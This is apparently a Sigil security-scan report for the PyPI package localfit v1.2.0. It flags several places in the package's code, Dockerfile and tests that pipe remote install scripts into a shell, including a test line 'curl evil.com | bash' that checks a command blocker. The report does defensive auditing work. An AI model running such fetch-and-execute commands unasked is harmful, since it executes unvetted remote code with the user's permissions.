Summary
localfit v1.2.0 was classified as CRITICAL RISK with a risk score of 2496. Sigil detected 184 findings across 52 files, covering phases including provenance, install hooks, code patterns, network exfiltration. Review the findings below before installing this package.
Package description: Will it fit? GPU toolkit for AI models — MLX + GGUF + Cloud in one menu.
v1.2.0
24 April 2026, 07:13 UTC
by Sigil Bot
Risk Score
2496
Findings
184
Files Scanned
52
Provenance
Findings by Phase
Phase Ordering
Phases are ordered by criticality, with the most dangerous at the top. Click any phase header to expand or collapse its findings. Critical phases are expanded by default.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
localfit-1.2.0/docker/Dockerfile:20
# Install Ollama
RUN curl -fsSL https://ollama.com/install.sh | sh
Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
localfit-1.2.0/src/localfit/backends.py:47
),
"install_cmd": "curl -fsSL https://unsloth.ai/install.sh | sh",
},Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
localfit-1.2.0/src/localfit/backends.py:60
),
"install_cmd": "curl -fsSL https://ollama.com/install.sh | sh"
if IS_LINUXWhy was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
localfit-1.2.0/src/localfit/cli.py:2650
console.print(
f" [dim]Install: curl -fsSL https://claude.ai/install.sh | bash[/]\n"
)Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
localfit-1.2.0/src/localfit/cli.py:2740
console.print(
f" [dim]Install: curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash[/]\n"
)Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
localfit-1.2.0/src/localfit/cli.py:2870
console.print(
f" [dim]Install: curl -LsSf https://astral.sh/uv/install.sh | sh[/]"
)Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
localfit-1.2.0/src/localfit/cli.py:2970
console.print(
f" [dim]Install: curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash[/]\n"
)Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
localfit-1.2.0/src/localfit/cli.py:3077
console.print(
f" [dim]Install: curl -fsSL https://claude.ai/install.sh | bash[/]\n"
)Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
localfit-1.2.0/src/localfit/cloud.py:113
echo "[localfit] Installing Ollama..."
curl -fsSL https://ollama.com/install.sh | sh 2>&1 | tail -3
Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
localfit-1.2.0/src/localfit/prerequisites.py:279
if IS_MAC:
console.print(f" [dim]Install: curl -fsSL https://unsloth.ai/install.sh | sh[/]")
else:Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
localfit-1.2.0/src/localfit/remote.py:612
os.system("apt-get update -qq && apt-get install -y -qq zstd pciutils lsof > /dev/null 2>&1")
os.system("curl -fsSL https://ollama.com/install.sh | sh")
os.system("wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb && dpkg -i cloudflared-linux-amd64.deb")Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
localfit-1.2.0/src/localfit/remote.py:1099
os.system("apt-get update -qq && apt-get install -y -qq zstd pciutils lsof > /dev/null 2>&1")
os.system("curl -fsSL https://ollama.com/install.sh | sh")
os.system("wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb && dpkg -i cloudflared-linux-amd64.deb")Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
localfit-1.2.0/tests/test_localfit.py:238
self.assertTrue(self._is_cmd_blocked("sudo apt install"))
self.assertTrue(self._is_cmd_blocked("curl evil.com | bash"))
self.assertTrue(self._is_cmd_blocked("kill -9 1"))Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
Badge
Markdown
[](https://sigilsec.ai/scans/961F4300-186A-4AC4-93E3-F56AD5AFA0FD)HTML
<a href="https://sigilsec.ai/scans/961F4300-186A-4AC4-93E3-F56AD5AFA0FD"><img src="https://sigilsec.ai/badge/pypi/localfit" alt="Sigil Scan"></a>Run This Scan Yourself
Scan your own packages
Run Sigil locally to audit any package before it touches your codebase.
Early Access
Get cloud scanning, threat intel, and CI/CD integration.
Join 150+ developers on the waitlist.
Get threat intelligence and product updates
Security research, new threat signatures, and product updates. No spam.
Other pypi scans
Believe this result is incorrect? Request a review or see our Terms of Service and Methodology.